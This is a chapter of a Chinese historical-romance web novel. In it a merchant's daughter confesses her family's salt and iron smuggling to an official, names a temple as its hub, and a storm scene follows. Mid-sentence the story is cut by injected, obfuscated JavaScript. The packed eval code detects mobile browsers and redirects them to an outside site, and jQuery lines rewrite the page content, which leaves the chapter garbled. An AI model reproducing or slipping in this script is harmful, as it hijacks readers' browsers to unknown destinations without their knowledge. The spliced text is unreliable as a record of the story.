“周小姐今日既主动来此向大人认罪，想必是真心悔改。而且……”
她顿了顿，目光转向裴序，“周家生意遍布南北，远的不提，纵是京城，周家的商铺合计之数便能占满一整条街市。为周家劳作的人足有数万，从织布纺纱的妇人，到走南闯北的脚夫，再到守着铺子的伙计掌柜，他们仰赖周家糊口。若是一刀切下去，这些毫不知情、只为求一口安稳饭的无辜百姓，又该如何生计？恐将哀鸿遍野，徒增民怨。”
裴序眸色深沉，扫过孟令窈，面上依旧如覆寒霜，严厉不减，“孟小姐，盐铁之祸，伤及国本。若不严惩首恶，何以正国法？何以儆效尤？今日对周家心慈手软，明日便有更多豪强效仿，视朝廷律法如无物。”
“可是大人，”孟令窈微微前倾身体，声音放得更轻，却字字清晰，“那些无辜者的生计，亦是朝廷根基。周小姐已然知错，若能借此机会，由内而外，彻底铲除盘根错节的网络，将藏匿的硕鼠连根拔起，岂不比单纯惩治一个周家，更能肃清积弊，还天下盐铁之政一个朗朗乾坤？如此，亦能保全那些无辜者。”
周希文听到这里，仿佛溺水之人终于抓住了一根浮木。她猛地抬起头，眼中迸发出决绝的光芒，“令窈所言极是！民女……民女不敢奢求宽恕！民女认罪！民女……”
她的话语因激动而微微发颤，然而深深蕴含着另一种坚定，“民女深知，家中长辈早已深陷其中，绝不会轻易回头！民女愿将所知一切和盘托出，包括那些与周家有勾结的官员、商贾，还有具体的运输路线、仓储地点。此外，周家愿意上缴所有不义之财，协助朝廷彻底清查此案。”
此言一出，裴序眉峰几不可察地动了一下。
孟令窈抬眼，两人视线极快地相碰了一瞬，而后各自移开，继续关注周希文的回答。
周希文深吸一口气，语速加快，仿佛要将心中积压已久的恐惧和决心一股脑倾泻出来，“大人，民女自知晓此事以来，一直暗中搜集证据……”
她知道那些私盐、生铁从何处源头流出，知道他们如何通过层层伪装，经由哪几条秘道、哪几处码头转运，知道许多中转仓的位置，甚至那些仓库明面上掩护的合法生意是什么。
更知道朝廷中哪些官员在暗中收受巨额贿赂，为他们大开方便之门，哪些地方豪强充当着保护伞。
大抵是她天生流着周家的血脉，那些账册，她一看便知有问题。几番核查，找出了真正的账册。
她甚至不需要抄下副本，只消看一眼，那账册中的每一笔都会印在她脑海里。
周希文一口气说完，胸膛剧烈起伏，眼睛死死盯着裴序，等待一个不确定的答复。
裴序沉默着，雅间里只剩下火炉中碳火燃烧的细微噼啪声和周希文急促的呼吸。无形的压力几乎凝成实质。他目光锐利，在周希文脸上逡巡，似乎在衡量她话语中的每一个字，审视她眼中的每一分决绝与恐惧。
似乎过去了很久，又似乎只是一眨眼的工夫，裴序淡淡道：“口说无凭。”
“民女知道口说无凭。大人尽可派人去验证民女所说。”
裴序所言正在周希文意料之中，她逐渐恢复了冷静，陈述道：“先前‘秋娘渡’的内情，便是民女差人送去大理寺的，私贩的盐铁经由陆家运往江南一带。这些，想必大人已然知晓。今日，民女要指认的是京城最大的转运之所。那个地方，远在天边，近在眼前。”
屋里其余两人皆将视线汇聚在她身上。
“正是城外香火鼎盛的慈安寺！”
周希文扯了扯唇角，显出几分嘲讽，“我的好兄长，几乎每月都要前去，打着为祖母祈福的由头，一直无人怀疑。慈安寺表面不染世俗，实则内里一团污秽，寺中许多和尚，明面上是醉心修行的僧人，暗地里是供富商贵族狎玩取乐的玩意儿。而这，也不过是掩人耳目的幌子，他们正是借此，与人搭上线，将数额巨大的盐铁运送出去。”
“因此，即便有些人觉察到不对劲，也只以为慈安寺是私底下做皮肉生意，不知其中隐藏着更深的秘密。寺中与我兄长有染的智清，就是管理慈安寺的首领。”周希文沉声道：“可惜的是，慈安寺外松内紧，掌管严密。我只知晓定然存放了盐铁，却无法查清具体存放之处。”
周希文再度叩首，额头触地发出沉闷声响，“民女深知父兄罪孽深重，早已无法回头。与其让他们继续沉沦，拉着整个周家、牵连无数无辜者一同覆灭，不如……由民女亲手斩断这祸根。民女愿以性命担保，所言句句属实，若有半句虚言，甘受凌迟之刑！”
“只求、只求能保全周家那些毫不知情的旁支远亲，和那数万依靠周家产业糊口的无辜百姓性命。”
说到最后，她声音沙哑得厉害，眼眶泛红，却仍强忍着没有落下泪来。
孟令窈轻抿了下唇，看了裴序一眼。那日她在慈安寺看见沈小山，就知晓大理寺已然在怀疑慈安寺有异。那么周希文所说为真的可能性极大，裴序…他应当会网开一面。
定会。
否则，也不会由着她给周希文递台阶了。
裴序垂眸思索，指节不轻不重地扣着桌面，叫人很轻易地从中品出，他正在衡量的意味。
装腔作势。
孟令窈心中腹诽。她不信大理寺这些日子不曾查出些什么，关注慈安寺这么久，若无收获，大理寺一干人等也不必当官，回家种红薯得了。周希文说的如此清楚，但凡有查出些什么，都应该能很快验证其中真假。
现下做出这般模样，也不知是演给谁看。
“我知晓了。”裴序终于开了口，“我会遣人去慈安寺探查。”
“周小姐，”他语气沉肃，“你须知，你的生死，周家无辜者的命运，皆系于你方才所言是否属实。”
如此，便是应了。
周希文紧绷的神经骤然松弛，支撑全身的力气仿佛瞬间被抽走一半。巨大的劫后余生感和决断所带来的沉重让她眼眶猛地一热，但
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15924619|177131||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她硬生生将即将涌出的泪意逼了回去，喉头滚动着，只深深一礼，声音带着不易察觉的哽咽，“民女明白，谢……谢大人！”说罢，身体微微晃了一下。
孟令窈适时上前，扶住了周希文微微颤抖的手臂，掌心柔软却有力，“希文，快些起来吧。裴大人定会明察秋毫。”
周希文深吸一口气，强自站稳，朝孟令窈微微弯了弯唇角，随即对裴序道：“民女告辞，静候大人消息。”
裴序颔首。
周希文转身，步伐依旧利落，宛如一株刚刚历经风暴洗礼的翠竹，脊背挺直，推门而去。
雅间内只剩下裴序和孟令窈两人。空气中凝滞的压力似乎才真正散去。孟令窈走回小几旁，拿起刚才倒的茶，水已微凉。
她正要饮下，被裴序拦住。
“茶冷了。太涩。”
他重又取了茶壶来，修长白皙的手提起火炉上煮着的黑釉瓷瓶，光润的白与黑撞在一处，叫人移不开眼。
清透的茶水缓缓注入杯中。
孟令窈收回视线。
“裴大人。”她垂眸看着杯中的水纹，轻声问：“你觉得……她所言，为真么？”
裴序并未直接回答，他踱到窗边，再度看向窗外天空。初时的晴明不知何时已被翻滚的乌云吞没，远处传来隐隐雷声。
“起风了。”他忽然开口。
话音未落，一阵极其猛烈的狂风毫无预兆地呼啸而至。
“砰”的一声巨响——
那扇临街的雕花木窗竟被这股巨力狠狠撞开，狂风裹挟着街道的尘土猛地灌入雅间，吹乱了案上的纸页，带翻了小几上的一只空茶杯。
就在窗扇大开之际，瓢泼大雨如同天河倾泻，密密麻麻的雨线瞬间模糊了窗外的世界，狂暴的敲击声充斥耳膜。
孟令窈轻呼一声，下意识地去护那些被风吹散的文书。
裴序反应极快，在窗被撞开的瞬间已闪身上前。双手抓住沉重晃动的窗扇，用力一合！巨大的力道甚至让窗框发出令人牙酸的吱呀声。分明是宽松的衣袍，依旧显出劲毅的筋骨，以及用力之下愈发显得结实的肩背。
插销落下，窗扉紧闭，将狂风骤雨彻底隔绝在外。但窗外那灰蒙蒙、雨幕连天的景象已被定格。
雅间里瞬间安静不少，只剩下密集的雨点击打窗棂和瓦檐的哗哗声，一齐奏出一场激烈的战鼓。刚才还明亮的房间，此刻光线已然昏沉。
裴序没有立刻离开窗边，手指搭在窗棂上，透过雨水冲刷下的明瓦，望向外头一片沌天地，眉宇间隐隐聚起一丝阴霾。
孟令窈单手支腮，打量他的侧影，窗外黯淡天光勾勒出的冷硬线条，此刻似乎染上了更深沉的忧虑。她听着如注的暴雨声，想了会儿，带着几分玩笑的语调说道：“裴大人怎么了？莫不是今日出门……忘了带伞？”
裴序转过头，雨幕幽光映在他眼底。他看着她明亮的眼睛，沉默了一瞬，点点头。
“是。”